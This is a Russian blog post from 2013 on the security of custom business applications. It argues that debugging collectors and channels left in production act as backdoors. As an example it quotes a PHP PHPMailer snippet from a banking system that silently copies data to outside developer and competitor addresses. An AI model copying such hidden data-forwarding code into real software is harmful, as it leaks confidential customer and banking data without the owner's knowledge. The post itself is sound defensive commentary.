Rambler's Top100
 
Блоги Рустэм ХАЙРЕТДИНОВ

Безопасность заказных приложений. VII

  19 февраля 2013 Страница персоны

Большая часть «закладок», найденных при исследовании исходного кода бизнес-приложений - неудаленные инструменты отладки приложения. Их нельзя считать намеренными "закладками", но вредоносности у них иногда не меньше, чем в специально написанных закладках.

Разработка заказного корпоративного бизнес-решения - сложный процесс, а его отладка и тестирование сложны вдвойне. Инфраструктуру и функциональный ландшафт крупного заказчика, в которых выполняется бизнес-приложение, практически невозможно повторить в рамках возможностей разработчика. На стороне разработчика можно провести нагрузочное и функциональное тестирование, но проверить все сочетания действий пользователей системы невозможно. Поэтому приложение "доводится" уже во время тестовой эксплуатации. Ведь часть сбоев связано не только с ошибками кодирования, но и с неправильными конфигурациями оборудования и некорректными действиями пользователя. Для оперативной диагностики некорректной работы системы и выяснения ее причин в приложение интегрируется большое количество датчиков, собирающих огромное количество данных о действиях пользователей, настройках системы и, конечно, о транзакциях в разрабатываемой системе. Часто исполнители не находятся на территории заказчика, поэтому организуется некий канал оперативной передачи собранных данных исполнителю.

Отладка и тестирование заканчиваются, продукт запускается в эксплуатацию, в систему вводятся уже реальные данные, имеющие конкретную ценность. А сборщики данных и каналы их передачи остаются. Иногда по недосмотру, а иногда и намеренно, ведь, в случае сбоя, эта информация наверняка пригодится. Иногда заказчик знает об этом, а иногда - нет.

Вот конкретный пример неудаленной отладочной информации (спасибо Алексею Лукацкому из Cisco Systems), почтовые адреса изменены:

$mail = new PHPMailer();

$mail->From = EMAIL_FROM;

$mail->AddAddress($email);

$mail->AddAddress("competitor@competitor.ru");

$mail->AddAddress("webstudio@webstudio.ru");

$mail->Send();

Исследуемая заказная система дистанционного банковского обслуживания пересылала информацию на почтовые адреса разработчика. То, что это было сделано без злого умысла, не вызывает сомнений. Шпион бы сделал это не так явно. Но заказчику от этого не легче - данные, возможно, составляющие банковскую тайну или персональную информацию клиентов банка, без ведома банка передавались недоверенному получателю - неизвестно, у кого есть доступ к этому почтовому ящику, и куда информация с него может быть переадресована.

Возможно, такая функция важна для оперативного восстановления работы системы или для оптимизации направлений ее развития. Но было бы здорово, чтобы, во-первых, о наличии такой функции заказчик был проинформирован, а, во вторых, сбор и передача данных шли бы по доверенным каналам, находящимся под контролем заказчика.


Поделиться:

Оставить свой комментарий:

Для комментирования необходимо авторизоваться!

Комментарии по материалу

Данный материал еще не комментировался.